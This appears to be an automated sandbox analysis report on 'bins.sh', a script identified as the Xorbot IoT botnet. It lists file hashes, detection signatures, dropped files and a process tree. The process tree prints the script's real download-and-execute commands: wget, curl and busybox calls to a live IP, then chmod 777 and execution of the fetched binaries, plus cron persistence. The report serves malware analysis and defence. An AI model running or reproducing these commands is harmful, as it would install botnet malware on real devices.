Resubmissions

03/04/2025, 22:32

250403-2fxrbayjy3 10

03/04/2025, 22:30

250403-2fa8bayjx3 10

Analysis

  • max time kernel
    30s
  • max time network
    31s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03/04/2025, 22:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2d3354e4454c0aa1442c15ae4db570d7

  • SHA1

    fa41bc59a61d70fed29d83a9fadcaf5f29a0306c

  • SHA256

    a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf

  • SHA512

    95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09

  • SSDEEP

    192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:728
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:735
      • /usr/bin/wget
        wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:736
      • /usr/bin/curl
        curl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:755
      • /bin/busybox
        /bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:758
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:759
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:760
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:762
          • /usr/bin/wget
            wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:763
          • /usr/bin/curl
            curl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:764
          • /bin/busybox
            /bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:765
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:766
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:767
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:769
              • /usr/bin/wget
                wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:770
              • /usr/bin/curl
                curl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:779
              • /bin/busybox
                /bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:791
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:796
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:797
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:800
                  • /usr/bin/wget
                    wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:802
                  • /usr/bin/curl
                    curl -O http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /bin/busybox
                    /bin/busybox wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:823
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:825
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:826
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:828
                      • /usr/bin/wget
                        wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:829
                      • /usr/bin/curl
                        curl -O http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:830
                      • /bin/busybox
                        /bin/busybox wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:831
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:832
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:833
                      • /bin/rm
                        rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:835
                      • /usr/bin/wget
                        wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:836
                      • /usr/bin/curl
                        curl -O http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:839
                      • /bin/busybox
                        /bin/busybox wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:853
                      • /bin/chmod
                        chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • File and Directory Permissions Modification
                        PID:858
                      • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                          PID:860
                        • /bin/rm
                          rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                          2⤵
                            PID:863
                          • /usr/bin/wget
                            wget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:864
                          • /usr/bin/curl
                            curl -O http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:874
                          • /bin/busybox
                            /bin/busybox wget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:875
                          • /bin/chmod
                            chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:876
                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Renames itself
                            • Reads runtime system information
                            PID:877
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:879
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:880
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:881
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      • Reads runtime system information
                                      PID:882
                                • /bin/rm
                                  rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                  2⤵
                                    PID:884
                                  • /usr/bin/wget
                                    wget http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                    2⤵
                                      PID:887
                                    • /usr/bin/curl
                                      curl -O http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                      2⤵
                                        PID:888
                                      • /bin/busybox
                                        /bin/busybox wget http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:969
                                      • /bin/chmod
                                        chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:982
                                      • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                        ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                        2⤵
                                          PID:983
                                        • /bin/rm
                                          rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                          2⤵
                                            PID:985
                                          • /usr/bin/wget
                                            wget http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                            2⤵
                                              PID:986
                                            • /usr/bin/curl
                                              curl -O http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                              2⤵
                                              • Reads runtime system information
                                              PID:991
                                            • /bin/busybox
                                              /bin/busybox wget http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                              2⤵
                                                PID:992
                                              • /bin/chmod
                                                chmod 777 wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:997
                                              • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                ./wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                2⤵
                                                  PID:998
                                                • /bin/rm
                                                  rm wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                  2⤵
                                                    PID:999
                                                  • /usr/bin/wget
                                                    wget http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                    2⤵
                                                      PID:1000
                                                    • /usr/bin/curl
                                                      curl -O http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1001
                                                    • /bin/busybox
                                                      /bin/busybox wget http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                      2⤵
                                                        PID:1002
                                                      • /bin/chmod
                                                        chmod 777 MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1003
                                                      • /tmp/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                        ./MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                        2⤵
                                                          PID:1004
                                                        • /bin/rm
                                                          rm MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                          2⤵
                                                            PID:1005
                                                          • /usr/bin/wget
                                                            wget http://77.90.153.218/bins/j5pF2uRAfRIrxFbSnk6Wcqg8sFoHfAcw0f
                                                            2⤵
                                                              PID:1006

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                                                            Filesize

                                                            111KB

                                                            MD5

                                                            701e7a55a4f3650f5feee92a9860e5fc

                                                            SHA1

                                                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                            SHA256

                                                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                            SHA512

                                                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                                                            Filesize

                                                            117KB

                                                            MD5

                                                            849fa04ef88a8e8de32cb2e8538de5fe

                                                            SHA1

                                                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                            SHA256

                                                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                            SHA512

                                                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                                            SHA1

                                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                            SHA256

                                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                            SHA512

                                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                          • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                                                            Filesize

                                                            119KB

                                                            MD5

                                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                                            SHA1

                                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                            SHA256

                                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                            SHA512

                                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                          • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                                                            Filesize

                                                            99KB

                                                            MD5

                                                            9438d9bc392bcf300a5583b6df5bc8f6

                                                            SHA1

                                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                                            SHA256

                                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                            SHA512

                                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                          • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                                                            Filesize

                                                            107KB

                                                            MD5

                                                            eb9c3a0de91fcf16ba17cb24608df68c

                                                            SHA1

                                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                                            SHA256

                                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                            SHA512

                                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                          • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

                                                            Filesize

                                                            91KB

                                                            MD5

                                                            eb99c14b6cc9e60a7a1262cc47b21b31

                                                            SHA1

                                                            d73c17f5590ee3591a58d72e8195e61e117f9296

                                                            SHA256

                                                            4331b94141d81e476aa17feaa11577fbcda19d362a0d99660306fd23d095166c

                                                            SHA512

                                                            6f2fb55961f304606ac9b3d1f7be9ab773503b5742042d39670eb21a945e847af435f1e25216e8d981674f23572d40b8914e0d2fbf9c0559ad87bf011cf42741

                                                          • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                                                            Filesize

                                                            141KB

                                                            MD5

                                                            3ca8decdb1e52c423c521bfff02ac200

                                                            SHA1

                                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                            SHA256

                                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                            SHA512

                                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                          • /var/spool/cron/crontabs/tmp.azGeue

                                                            Filesize

                                                            210B

                                                            MD5

                                                            08e75c6375bf51e0111fa4b736002b49

                                                            SHA1

                                                            924578fca618bf66dc7d211647068780dea26610

                                                            SHA256

                                                            337ce6878ab799e0e53943c24c108cd7f8bc0f3174f7c2f769bf5ef146ddd921

                                                            SHA512

                                                            a6b8c3dd76a3ad0807327c5f6ff1e9b67185672c0bedffc73613627f7ceffdcf0269670a02f3bed21487ba6397c520aba7341d57b706c0decad85d9cf382dc64